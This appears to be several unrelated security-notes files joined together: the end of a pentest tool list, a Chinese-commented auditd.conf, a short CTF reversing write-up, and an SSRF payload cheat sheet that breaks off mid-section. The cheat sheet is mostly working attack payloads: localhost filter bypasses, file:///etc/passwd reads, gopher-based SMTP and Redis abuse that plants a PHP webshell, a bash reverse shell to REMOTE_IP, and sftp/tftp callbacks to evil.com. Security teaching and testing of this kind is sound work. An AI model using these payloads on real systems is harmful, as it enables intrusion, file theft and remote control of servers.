[dsniff](https://www.monkey.org/~dugsong/dsniff/) - a collection of tools for network auditing and pentesting * [tgcd](http://tgcd.sourceforge.net/) - a simple Unix network utility to extend the accessibility of TCP/IP based network services beyond firewalls * [smbmap](https://github.com/ShawnDEvans/smbmap) - a handy SMB enumeration tool * [scapy](https://github.com/secdev/scapy) - a python-based interactive packet manipulation program & library * [Dshell](https://github.com/USArmyResearchLab/Dshell) - Network forensic analysis framework * [Debookee (MAC OS X)](http://www.iwaxx.com/debookee/) - Intercept traffic from any device on your network * [Dripcap](https://github.com/dripcap/dripcap) - Caffeinated packet analyzer ## Wireless Network Tools * [Aircrack-ng](http://www.aircrack-ng.org/) - a set of tools for auditing wireless network * [Kismet](https://kismetwireless.net/) - Wireless network detector, sniffer, and IDS * [Reaver](https://code.google.com/archive/p/reaver-wps) - Brute force attack against Wifi Protected Setup * [Wifite](https://github.com/derv82/wifite) - Automated wireless attack tool * [wifiphisher](https://github.com/sophron/wifiphisher) - Automated phishing attacks against Wi-Fi networks ## SSL Analysis Tools * [SSLyze](https://github.com/nabla-c0d3/sslyze) - SSL configuration scanner * [sslstrip](https://www.thoughtcrime.org/software/sslstrip/) - a demonstration of the HTTPS stripping attacks * [sslstrip2](https://github.com/LeonardoNve/sslstrip2) - SSLStrip version to defeat HSTS * [tls_prober](https://github.com/WestpointLtd/tls_prober) - fingerprint a server's SSL/TLS implementation ## Web exploitation * [WPScan](https://wpscan.org/) - Black box WordPress vulnerability scanner * [SQLmap](http://sqlmap.org/) - Automatic SQL injection and database takeover tool * [weevely3](https://github.com/epinna/weevely3) - Weaponized web shell * [Wappalyzer](https://wappalyzer.com/) - Wappalyzer uncovers the technologies used on websites * [cms-explorer](https://code.google.com/archive/p/cms-explorer/) - CMS Explorer is designed to reveal the the specific modules, plugins, components and themes that various CMS driven web sites are running. * [joomscan](https://www.owasp.org/index.php/Category:OWASP_Joomla_Vulnerability_Scanner_Project) - Joomla CMS scanner * [WhatWeb](https://github.com/urbanadventurer/WhatWeb) - Website Fingerprinter * [BlindElephant](http://blindelephant.sourceforge.net/) - Web Application Fingerprinter * [fimap](https://github.com/kurobeats/fimap) - Find, prepare, audit, exploit and even google automatically for LFI/RFI bugs * [Kadabra](https://github.com/D35m0nd142/Kadabra) - Automatic LFI exploiter and scanner * [Kadimus](https://github.com/P0cL4bs/Kadimus) - LFI scan and exploit tool * [liffy](https://github.com/hvqzao/liffy) - LFI exploitation tool * [PhpSploit](https://github.com/nil0x42/phpsploit) - Full-featured C2 framework which silently persists on webserver via evil PHP oneliner ## Hex Editors * [HexEdit.js](https://hexed.it) - Browser-based hex editing * [Hexinator](https://hexinator.com/) (commercial) - World's finest Hex Editor ## Crackers * [John the Ripper](http://www.openwall.com/john/) - Fast password cracker * [Online MD5 cracker](http://www.md5crack.com/) - Online MD5 hash Cracker * [Hashcat](http://hashcat.net/hashcat/) - The more fast hash cracker ## Windows Utils * [Sysinternals Suite](https://technet.microsoft.com/en-us/sysinternals/bb842062) - The Sysinternals Troubleshooting Utilities * [Windows Credentials Editor](http://www.ampliasecurity.com/research/windows-credentials-editor/) - security tool to list logon sessions and add, change, list and delete associated credentials * [mimikatz](http://blog.gentilkiwi.com/mimikatz) - Credentials extraction tool for Windows OS * [PowerSploit](https://github.com/PowerShellMafia/PowerSploit) - A PowerShell Post-Exploitation Framework * [Windows Exploit Suggester](https://github.com/GDSSecurity/Windows-Exploit-Suggester) - Detects potential missing patches on the target * [Responder](https://github.com/SpiderLabs/Responder) - A LLMNR, NBT-NS and MDNS poisoner * [Empire](https://github.com/PowerShellEmpire/Empire) - Empire is a pure PowerShell post-exploitation agent * [Fibratus](https://github.com/rabbitstack/fibratus) - Tool for exploration and tracing of the Windows kernel ## Linux Utils * [Linux Exploit Suggester](https://github.com/PenturaLabs/Linux_Exploit_Suggester) - Linux Exploit Suggester; based on operating system release number. ## DDoS Tools * [LOIC](https://github.com/NewEraCracker/LOIC/) - An open source network stress tool for Windows * [JS LOIC](http://metacortexsecurity.com/tools/anon/LOIC/LOICv1.html) - JavaScript in-browser version of LOIC * [T50](https://sourceforge.net/projects/t50/) - The more fast network stress tool ## Social Engineering Tools * [SET](https://github.com/trustedsec/social-engineer-toolkit) - The Social-Engineer Toolkit from TrustedSec ## OSInt Tools * [Maltego](http://www.paterva.com/web7/) - Proprietary software for open source intelligence and forensics, from Paterva. * [theHarvester](https://github.com/laramies/theHarvester) - E-mail, subdomain and people names harvester * [creepy](https://github.com/ilektrojohn/creepy) - A geolocation OSINT tool * [metagoofil](https://github.com/laramies/metagoofil) - Metadata harvester * [Google Hacking Database](https://www.exploit-db.com/google-hacking-database/) - a database of Google dorks; can be used for recon * [Censys](https://www.censys.io/) - Collects data on hosts and websites through daily ZMap and ZGrab scans * [Shodan](https://www.shodan.io/) - Shodan is the world's first search engine for Internet-connected devices * [recon-ng](https://bitbucket.org/LaNMaSteR53/recon-ng) - A full-featured Web Reconnaissance framework written in Python * [github-dorks](https://github.com/techgaun/github-dorks) - CLI tool to scan github repos/organizations for potential sensitive information leak * [vcsmap](https://github.com/melvinsh/vcsmap) - A plugin-based tool to scan public version control systems for sensitive information * [ZoomEye](https://www.zoomeye.org/) - ZoomEye is a search engine for cyberspace that lets the user find specific network components(ip, services, etc.). ## Anonymity Tools * [Tor](https://www.torproject.org/) - The free software for enabling onion routing online anonymity * [I2P](https://geti2p.net/en/) - The Invisible Internet Project * [Nipe](https://github.com/GouveaHeitor/nipe) - Script to redirect all traffic from the machine to the Tor network. ## Reverse Engineering Tools * [IDA Pro](https://www.hex-rays.com/products/ida/) - A Windows, Linux or Mac OS X hosted multi-processor disassembler and debugger * [IDA Free](https://www.hex-rays.com/products/ida/support/download_freeware.shtml) - The freeware version of IDA v5.0 * [WDK/WinDbg](https://msdn.microsoft.com/en-us/windows/hardware/hh852365.aspx) - Windows Driver Kit and WinDbg * [OllyDbg](http://www.ollydbg.de/) - An x86 debugger that emphasizes binary code analysis * [Radare2](http://rada.re/r/index.html) - Opensource, crossplatform reverse engineering framework * [x64_dbg](http://x64dbg.com/) - An open-source x64/x32 debugger for windows * [Immunity Debugger](http://debugger.immunityinc.com/) - A powerful new way to write exploits and analyze malware * [Evan's Debugger](http://www.codef00.com/projects#debugger) - OllyDbg-like debugger for Linux * [Medusa disassembler](https://github.com/wisk/medusa) - An open source interactive disassembler * [plasma](https://github.com/joelpx/plasma) - Interactive disassembler for x86/ARM/MIPS. Generates indented pseudo-code with colored syntax code * [peda](https://github.com/longld/peda) - Python Exploit Development Assistance for GDB ## CTF Tools * [Pwntools](https://github.com/Gallopsled/pwntools) - CTF framework for use in CTFs # Links 1. https://github.com/ 2. https://sectools.org/ 3. https://packetstormsecurity.com/ 4. https://tools.kali.org/ 5. https://blackarch.org/tools.html 6. https://tools.pentestbox.org/ 7. http://www.toolswatch.org/ 8. http://www.kitploit.com/ 9. http://www.darknet.org.uk/ 10. http://seclist.us/ 11. http://sourceforge.net/
sec-knowleage
# auditd --- ## auditd.conf ```bash # 目录或这个目录中的日志文件。 log_file =/var/log/audit/audit.log # 日志所属组 log_group = root # 审计应采用多少优先级推进守护进程。必须是非负数。0表示没有变化。 priority_boost = 4 # 多长时间向日志文件中写一次数据。值可以是 NONE、INCREMENTAL、DATA 和 SYNC 之一。如果设置为 NONE,则不需要做特殊努力来将数据 刷新到日志文件中。 # 如果设置为 INCREMENTAL,则用 freq 选项的值确定多长时间发生一次向磁盘的刷新。 # 如果设置为 DATA,则审计数据和日志文件一直是同步的。 # 如果设置为 SYNC,则每次写到日志文件时,数据和元数据是同步的。 flush = INCREMENTAL # 如果 flush 设置为 INCREMETNAL,审计守护进程在写到日志文件中前从内核中接收的记录数 # max_log_file_action 设置为 ROTATE 时要保存的日志文件数目。必须是 0~99 之间的数。如果设置为小于 2,则不会循环日志。如果递 增了日志文件的数目,就可能有必要递增/etc/audit/audit.rules中的内核 freq = 20 # backlog 设置值,以便留出日志循环的时间。如果没有设置 num_logs 值,它就默认为 0,意味着从来不循环日志文件。 num_logs = 5 # 控制调度程序与审计守护进程之间的通信类型。有效值为 lossy 和 lossless。 # 如果设置为 lossy,若审计守护进程与调度程序之间的缓冲区已满 (缓冲区为 128 千字节),则发送给调度程序的引入事件会被丢弃。然而,只要 log_format 没有设置为 nolog,事件就仍然会写到磁盘中。 # 如果设 置为 lossless,则在向调度程序发送事件之前和将日志写到磁盘之前,调度程序会等待缓冲区有足够的空间。 disp_qos = lossy # 当启动这个守护进程时,由审计守护进程自动启动程序。所有守护进程都传递给这个程序。可以用它来进一步定制报表或者以与您的自定义分析程序兼容的不同格式产生它们。自定义程序的示例代码可以在 / usr/share/doc/audit- /skeleton.c 中找到。由于调度程序用根用户特权运行,因此使用这个选项时要极其小心。这个选项不是必需的。 dispatcher = /sbin/audispd # 此选项控制计算机节点名如何插入到审计事件流中。它有如下的选择:none, hostname, fqd, numeric, and user # None 意味着没有计算机名被插入到审计事件中。 # hostname 通过 gethostname 系统调用返回的名称。 # fqd 意味着它 = 以主机名和解决它与 DNS 的完全合格的域名 # numeric 类似于 fqd 除解决本机的 IP 地址,为了使用这个选项,你可能想要测试’hostname -i’ 或 ’domainname-i’返回一个数字地址, 另外,此选项不如果 DHCP 的使用是因为你可以有不同的地址,在同一台机器上的时间推荐。 # user 是从名称选项中定义的字符串。默认值是没有 name_format = NONE # 以兆字节表示的最大日志文件容量。当达到这个容量时,会执行 max_log_file _action 指定的动作 max_log_file = 6 # 当达到 max_log_file 的日志文件大小时采取的动作。值必须是 IGNORE、SYSLOG、SUSPEND、ROTATE 和 KEEP_LOGS 之 一。 # 如果设置为 IGNORE,则在日志文件达到 max_log_file 后不采取动作。 # 如果设置为 SYSLOG,则当达到文件容量时会向系统日志 / var /log/messages 中写入一条警告。 # 如果设置为 SUSPEND,则当达到文件容量后不会向日志文件写入审计消息。 # 如果设置为 ROTATE,则当达 到指定文件容量后会循环日志文件,但是只会保存一定数目的老文件,这个数目由 num_logs 参数指定。老文件的文件名将为 audit.log.N,其中 N 是一个数字。这个数字越大,则文件越老。 # 如果设置为 KEEP_LOGS,则会循环日志文件,但是会忽略 num_logs 参数,因此不会删除日志文件 max_log_file_action = ROTATE # 以兆字节表示的磁盘空间数量。当达到这个水平时,会采取 space_left_action 参数中的动作 space_left = 75 # 当磁盘空间量达到 space_left 中的值时,采取这个动作。有效值为 IGNORE、SYSLOG、EMAIL、SUSPEND、SINGLE 和 HALT。 # 如果设置为 IGNORE,则不采取动作。 # 如果设置为 SYSLOG,则向系统日志 / var/log/messages 写一条警告消息。 # 如果设置为 EMAIL,则从 action_mail_acct 向这个地址发送一封电子邮件,并向 / var/log/messages 中写一条警告消息。 # 如果设置为 SUSPEND,则不再向审计日志文件中写警告消息。 # 如果设置为 SINGLE,则系统将在单用户模式下。如果设置为 SALT,则系统会关闭。 space_left_action = SYSLOG # 负责维护审计守护进程和日志的管理员的电子邮件地址。如果地址没有主机名,则假定主机名为本地地址,比如 root。 # 必须安装 sendmail 并配置为向指定电子邮件地址发送电子邮件。 action_mail_acct = root # 以兆字节表示的磁盘空间数量。用这个选项设置比 space_left_action 更多的主动性动作,以防万一 space_left_action 没有让管理员释放任何磁盘空间。这个值应小于 space_left_action。如果达到这个水平,则会采取 admin_space_left_ action 所指定的动作。 admin_space_left = 50 # 当自由磁盘空间量达到 admin_space_left 指定的值时,则采取动作。有效值为 IGNORE、SYSLOG、EMAIL、SUSPEND、SINGLE 和 HALT。 # 与这些值关联的动作与 space_left_action 中的相同。 admin_space_left_action = SUSPEND # 如果含有这个审计文件的分区已满,则采取这个动作。可能值为 IGNORE、SYSLOG、SUSPEND、SINGLE 和 HALT。与这些值关联的动作 # 与 space_left_action 中的相同。 disk_full_action = SUSPEND # 如果在写审计日志或循环日志文件时检测到错误时采取的动作。值必须是 IGNORE、SYSLOG、SUSPEND、SINGLE 和 HALT 之一。 # 与这些值关的动作与 space_left_action 中的相同 disk_error_action = SUSPEND # 这是在范围 1、65535,一个数字值,如果指定,原因 auditd 听在从远程系统审计记录相应的 TCP 端口。审计程序可能与 tcp_wrappers。 # 你可能想控制在 hosts.allow 入口访问和否认文件。 ##tcp_listen_port = # 这是一个数字值,这表明有多少等待(要求但 UNAC 接受)的连接是允许的。默认值是 5。设置过小的可能导致连接被拒绝, # 如果太多主机开始在完全相同的时间,如电源故障后。 tcp_listen_queue = 5 # 这是一个数字值,该值表示一个地址允许有多少个并发连接。默认为 1,最大为 1024。设置过大可能会允许拒绝服务攻击的日志服务器。 # 还要注意的是,内核内部有一个最大的,最终将防止这种即使 auditd 允许它通过配置。在大多数情况下,默认应该是足够除非写一个自定义的恢复脚本运行提出未发送事件。在这种情况下,您将增加的数量只有足够大,让它在过。 tcp_max_per_addr = 1 ##tcp_client_ports = 1024-65535 tcp_client_max_idle = 0 # 如果设置为 “yes”,Kerberos 5 将用于认证和加密。默认是 “no”。 enable_krb5 = no # This is the principal for this server. 默认是 "auditd"。 考虑到这个默认值,服务器将寻找存储在 / etc/audit/audit.key 中的类似 auditd/hostname@EXAMPLE.COM 的密钥来验证自己,其中 hostname 是服务器主机的规范名称,由 DNS 查询其 IP 地址返回。 krb5_principal = auditd # Location of the key for this client's principal. 注意,该密钥文件必须由root拥有,模式为0400。默认是/etc/audit/audit.key。 ##krb5_key_file = /etc/audit/audit.key ``` --- ## Source & Reference - https://man7.org/linux/man-pages/man5/auditd.conf.5.html - https://blog.csdn.net/u012085379/article/details/50973245
sec-knowleage
# KeyGenMe Reversing, 439 points ## Description: A binary file was attached, in addition to an address and port. ## Solution: Let's run the binary: ```console root@kali:/media/sf_CTFs/tamu/NoCCBytes# ./noccbytes Welcome. Please Enter a password to continue: test Wrong Password ``` It's always a good idea to get some insights about the program internals using `ltrace`: ```console root@kali:/media/sf_CTFs/tamu/NoCCBytes# ltrace ./noccbytes _ZNSt8ios_base4InitC1Ev(0x55d8c259604a, 0xffff, 0x7ffde7278288, 128) = 0 __cxa_atexit(0x7f515221d0b0, 0x55d8c259604a, 0x55d8c2596008, 6) = 0 setvbuf(0x7f5152175760, 0, 2, 0) = 0 puts("\nWelcome. Please Enter a passwor"... Welcome. Please Enter a password to continue: ) = 48 fgets(test "test\n", 25, 0x7f5152174a00) = 0x7ffde7278100 strcpy(0x7ffde72780a0, "WattoSays\n") = 0x7ffde72780a0 strcmp("test\n", "WattoSays\n") = 29 puts("\nWrong Password" Wrong Password ) = 16 +++ exited (status 0) +++ ``` We see the following call: ``` strcmp("test\n", "WattoSays\n") ``` What if we try `WattoSays` as the password? ```console root@kali:/media/sf_CTFs/tamu/_NoCCBytes# echo WattoSays | nc rev.tamuctf.com 8188 Welcome. Please Enter a password to continue: gigem{Y0urBreakpo1nt5Won7Work0nMeOnlyMon3y} ``` Look at that, solved without breaking a sweat...
sec-knowleage
# Server-Side Request Forgery > Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on their behalf. ## Summary * [Tools](#tools) * [Payloads with localhost](#payloads-with-localhost) * [Bypassing filters](#bypassing-filters) * [Bypass using HTTPS](#bypass-using-https) * [Bypass localhost with [::]](#bypass-localhost-with-) * [Bypass localhost with a domain redirection](#bypass-localhost-with-a-domain-redirection) * [Bypass localhost with CIDR](#bypass-localhost-with-cidr) * [Bypass using a decimal IP location](#bypass-using-a-decimal-ip-location) * [Bypass using octal IP](#bypass-using-octal-ip) * [Bypass using IPv6/IPv4 Address Embedding](#bypass-using-ipv6ipv4-address-embedding) * [Bypass using malformed urls](#bypass-using-malformed-urls) * [Bypass using rare address](#bypass-using-rare-address) * [Bypass using URL encoding](#bypass-using-url-encoding) * [Bypass using bash variables](#bypass-using-bash-variables) * [Bypass using tricks combination](#bypass-using-tricks-combination) * [Bypass using enclosed alphanumerics](#bypass-using-enclosed-alphanumerics) * [Bypass filter_var() php function](#bypass-filter_var-php-function) * [Bypass against a weak parser](#bypass-against-a-weak-parser) * [Bypassing using jar protocol (java only)](#bypassing-using-jar-protocol-java-only) * [SSRF exploitation via URL Scheme](#ssrf-exploitation-via-url-scheme) * [file://](#file) * [http://](#http) * [dict://](#dict) * [sftp://](#sftp) * [tftp://](#tftp) * [ldap://](#ldap) * [gopher://](#gopher) * [netdoc://](#netdoc) * [SSRF exploiting WSGI](#ssrf-exploiting-wsgi) * [SSRF exploiting Redis](#ssrf-exploiting-redis) * [SSRF exploiting PDF file](#ssrf-exploiting-pdf-file) * [Blind SSRF](#blind-ssrf) * [SSRF to XSS](#ssrf-to-xss) * [SSRF from XSS](#ssrf-from-xss) * [SSRF URL for Cloud Instances](#ssrf-url-for-cloud-instances) * [SSRF URL for AWS Bucket](#ssrf-url-for-aws-bucket) * [SSRF URL for AWS ECS](#ssrf-url-for-aws-ecs) * [SSRF URL for AWS Elastic Beanstalk](#ssrf-url-for-aws-elastic-beanstalk) * [SSRF URL for AWS Lambda](#ssrf-url-for-aws-lambda) * [SSRF URL for Google Cloud](#ssrf-url-for-google-cloud) * [SSRF URL for Digital Ocean](#ssrf-url-for-digital-ocean) * [SSRF URL for Packetcloud](#ssrf-url-for-packetcloud) * [SSRF URL for Azure](#ssrf-url-for-azure) * [SSRF URL for OpenStack/RackSpace](#ssrf-url-for-openstackrackspace) * [SSRF URL for HP Helion](#ssrf-url-for-hp-helion) * [SSRF URL for Oracle Cloud](#ssrf-url-for-oracle-cloud) * [SSRF URL for Kubernetes ETCD](#ssrf-url-for-kubernetes-etcd) * [SSRF URL for Alibaba](#ssrf-url-for-alibaba) * [SSRF URL for Docker](#ssrf-url-for-docker) * [SSRF URL for Rancher](#ssrf-url-for-rancher) ## Tools - [SSRFmap - https://github.com/swisskyrepo/SSRFmap](https://github.com/swisskyrepo/SSRFmap) - [Gopherus - https://github.com/tarunkant/Gopherus](https://github.com/tarunkant/Gopherus) - [See-SURF - https://github.com/In3tinct/See-SURF](https://github.com/In3tinct/See-SURF) - [SSRF Sheriff - https://github.com/teknogeek/ssrf-sheriff](https://github.com/teknogeek/ssrf-sheriff) ## Payloads with localhost * Using `localhost` ```powershell http://localhost:80 http://localhost:443 http://localhost:22 ``` * Using `127.0.0.1` ```powershell http://127.0.0.1:80 http://127.0.0.1:443 http://127.0.0.1:22 ``` * Using `0.0.0.0` ```powershell http://0.0.0.0:80 http://0.0.0.0:443 http://0.0.0.0:22 ``` ## Bypassing filters ### Bypass using HTTPS ```powershell https://127.0.0.1/ https://localhost/ ``` ### Bypass localhost with [::] ```powershell http://[::]:80/ http://[::]:25/ SMTP http://[::]:22/ SSH http://[::]:3128/ Squid ``` ```powershell http://0000::1:80/ http://0000::1:25/ SMTP http://0000::1:22/ SSH http://0000::1:3128/ Squid ``` ### Bypass localhost with a domain redirection | Domain | Redirect to | |------------------------------|-------------| | localtest.me | `::1` | | localh.st | `127.0.0.1` | | spoofed.[BURP_COLLABORATOR] | `127.0.0.1` | | spoofed.redacted.oastify.com | `127.0.0.1` | | company.127.0.0.1.nip.io | `127.0.0.1` | The service nip.io is awesome for that, it will convert any ip address as a dns. ```powershell NIP.IO maps <anything>.<IP Address>.nip.io to the corresponding <IP Address>, even 127.0.0.1.nip.io maps to 127.0.0.1 ``` ### Bypass localhost with CIDR IP addresses from 127.0.0.0/8 ```powershell http://127.127.127.127 http://127.0.1.3 http://127.0.0.0 ``` ### Bypass using a decimal IP location ```powershell http://2130706433/ = http://127.0.0.1 http://3232235521/ = http://192.168.0.1 http://3232235777/ = http://192.168.1.1 http://2852039166/ = http://169.254.169.254 ``` ### Bypass using octal IP Implementations differ on how to handle octal format of ipv4. ```sh http://0177.0.0.1/ = http://127.0.0.1 http://o177.0.0.1/ = http://127.0.0.1 http://0o177.0.0.1/ = http://127.0.0.1 http://q177.0.0.1/ = http://127.0.0.1 ... ``` Ref: - [DEFCON 29-KellyKaoudis SickCodes-Rotten code, aging standards & pwning IPv4 parsing](https://www.youtube.com/watch?v=_o1RPJAe4kU) - [AppSecEU15-Server_side_browsing_considered_harmful.pdf](https://www.agarri.fr/docs/AppSecEU15-Server_side_browsing_considered_harmful.pdf) ### Bypass using IPv6/IPv4 Address Embedding [IPv6/IPv4 Address Embedding](http://www.tcpipguide.com/free/t_IPv6IPv4AddressEmbedding.htm) ```powershell http://[0:0:0:0:0:ffff:127.0.0.1] http://[::ffff:127.0.0.1] ``` ### Bypass using malformed urls ```powershell localhost:+11211aaa localhost:00011211aaaa ``` ### Bypass using rare address You can short-hand IP addresses by dropping the zeros ```powershell http://0/ http://127.1 http://127.0.1 ``` ### Bypass using URL encoding [Single or double encode a specific URL to bypass blacklist](https://portswigger.net/web-security/ssrf/lab-ssrf-with-blacklist-filter) ```powershell http://127.0.0.1/%61dmin http://127.0.0.1/%2561dmin ``` ### Bypass using bash variables (curl only) ```powershell curl -v "http://evil$google.com" $google = "" ``` ### Bypass using tricks combination ```powershell http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ urllib2 : 1.1.1.1 requests + browsers : 2.2.2.2 urllib : 3.3.3.3 ``` ### Bypass using enclosed alphanumerics [@EdOverflow](https://twitter.com/EdOverflow) ```powershell http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com List: ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿ ``` ### Bypass using unicode In some languages (.NET, Python 3) regex supports unicode by default. `\d` includes `0123456789` but also `๐๑๒๓๔๕๖๗๘๙`. ### Bypass filter_var() php function ```powershell 0://evil.com:80;http://google.com:80/ ``` ### Bypass against a weak parser by Orange Tsai ([Blackhat A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf)) ```powershell http://127.1.1.1:80\@127.2.2.2:80/ http://127.1.1.1:80\@@127.2.2.2:80/ http://127.1.1.1:80:\@@127.2.2.2:80/ http://127.1.1.1:80#\@127.2.2.2:80/ ``` ### Bypassing using a redirect [using a redirect](https://portswigger.net/web-security/ssrf#bypassing-ssrf-filters-via-open-redirection) ```powershell 1. Create a page on a whitelisted host that redirects requests to the SSRF the target URL (e.g. 192.168.0.1) 2. Launch the SSRF pointing to vulnerable.com/index.php?url=http://YOUR_SERVER_IP vulnerable.com will fetch YOUR_SERVER_IP which will redirect to 192.168.0.1 3. You can use response codes [307](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/307) and [308](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/308) in order to retain HTTP method and body after the redirection. ``` ### Bypassing using type=url ```powershell Change "type=file" to "type=url" Paste URL in text field and hit enter Using this vulnerability users can upload images from any image URL = trigger an SSRF ``` ### Bypassing using DNS Rebinding (TOCTOU) ```powershell Create a domain that change between two IPs. http://1u.ms/ exists for this purpose. For example to rotate between 1.2.3.4 and 169.254-169.254, use the following domain: make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms ``` ### Bypassing using jar protocol (java only) Blind SSRF ```powershell jar:scheme://domain/path!/ jar:http://127.0.0.1!/ jar:https://127.0.0.1!/ jar:ftp://127.0.0.1!/ ``` ## SSRF exploitation via URL Scheme ### File Allows an attacker to fetch the content of a file on the server ```powershell file://path/to/file file:///etc/passwd file://\/\/etc/passwd ssrf.php?url=file:///etc/passwd ``` ### HTTP Allows an attacker to fetch any content from the web, it can also be used to scan ports. ```powershell ssrf.php?url=http://127.0.0.1:22 ssrf.php?url=http://127.0.0.1:80 ssrf.php?url=http://127.0.0.1:443 ``` The following URL scheme can be used to probe the network ### Dict The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol: ```powershell dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n> ssrf.php?url=dict://attacker:11111/ ``` ### SFTP A network protocol used for secure file transfer over secure shell ```powershell ssrf.php?url=sftp://evil.com:11111/ ``` ### TFTP Trivial File Transfer Protocol, works over UDP ```powershell ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET ``` ### LDAP Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service. ```powershell ssrf.php?url=ldap://localhost:11211/%0astats%0aquit ``` ### Gopher ```powershell ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a will make a request like HELO localhost MAIL FROM:<hacker@site.com> RCPT TO:<victim@site.com> DATA From: [Hacker] <hacker@site.com> To: <victime@site.com> Date: Tue, 15 Sep 2017 17:20:26 -0400 Subject: Ah Ah AH You didn't say the magic word ! . QUIT ``` #### Gopher HTTP ```powershell gopher://<proxyserver>:8080/_GET http://<attacker:80>/x HTTP/1.1%0A%0A gopher://<proxyserver>:8080/_POST%20http://<attacker>:80/x%20HTTP/1.1%0ACookie:%20eatme%0A%0AI+am+a+post+body ``` #### Gopher SMTP - Back connect to 1337 ```php Content of evil.com/redirect.php: <?php header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!"); ?> Now query it. https://example.com/?q=http://evil.com/redirect.php. ``` #### Gopher SMTP - send a mail ```php Content of evil.com/redirect.php: <?php $commands = array( 'HELO victim.com', 'MAIL FROM: <admin@victim.com>', 'RCPT To: <sxcurity@oou.us>', 'DATA', 'Subject: @sxcurity!', 'Corben was here, woot woot!', '.' ); $payload = implode('%0A', $commands); header('Location: gopher://0:25/_'.$payload); ?> ``` ### Netdoc Wrapper for Java when your payloads struggle with "\n" and "\r" characters. ```powershell ssrf.php?url=netdoc:///etc/passwd ``` ## SSRF exploiting WSGI Exploit using the Gopher protocol, full exploit script available at https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi_exp.py. ```powershell gopher://localhost:8000/_%00%1A%00%00%0A%00UWSGI_FILE%0C%00/tmp/test.py ``` | Header | | | |-----------|-----------|-------------| | modifier1 | (1 byte) | 0 (%00) | | datasize | (2 bytes) | 26 (%1A%00) | | modifier2 | (1 byte) | 0 (%00) | | Variable (UWSGI_FILE) | | | | | |-----------------------|-----------|----|------------|---| | key length | (2 bytes) | 10 | (%0A%00) | | | key data | (m bytes) | | UWSGI_FILE | | | value length | (2 bytes) | 12 | (%0C%00) | | | value data | (n bytes) | | /tmp/test.py | | ## SSRF exploiting Redis > Redis is a database system that stores everything in RAM ```powershell # Getting a webshell url=dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/var/www/html url=dict://127.0.0.1:6379/CONFIG%20SET%20dbfilename%20file.php url=dict://127.0.0.1:6379/SET%20mykey%20"<\x3Fphp system($_GET[0])\x3F>" url=dict://127.0.0.1:6379/SAVE # Getting a PHP reverse shell gopher://127.0.0.1:6379/_config%20set%20dir%20%2Fvar%2Fwww%2Fhtml gopher://127.0.0.1:6379/_config%20set%20dbfilename%20reverse.php gopher://127.0.0.1:6379/_set%20payload%20%22%3C%3Fphp%20shell_exec%28%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FREMOTE_IP%2FREMOTE_PORT%200%3E%261%27%29%3B%3F%3E%22 gopher://127.0.0.1:6379/_save ``` ## SSRF exploiting PDF file Example with [WeasyPrint by @nahamsec](https://www.youtube.com/watch?v=t5fB6OZsR6c&feature=emb_title) ```powershell <link rel=attachment href="file:///root/secret.txt"> ``` Example with PhantomJS ```js <script> exfil = new XMLHttpRequest(); exfil.open("GET","file:///etc/passwd"); exfil.send(); exfil.onload = function(){document.write(this.responseText);} exfil.onerror = function(){document.write('failed!')} </script> ``` ## Blind SSRF > When exploiting server-side request forgery, we can often find ourselves in a position where the response cannot be read. Use an SSRF chain to gain an Out-of-Band output. From https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/ / https://github.com/assetnote/blind-ssrf-chains **Possible via HTTP(s)** - 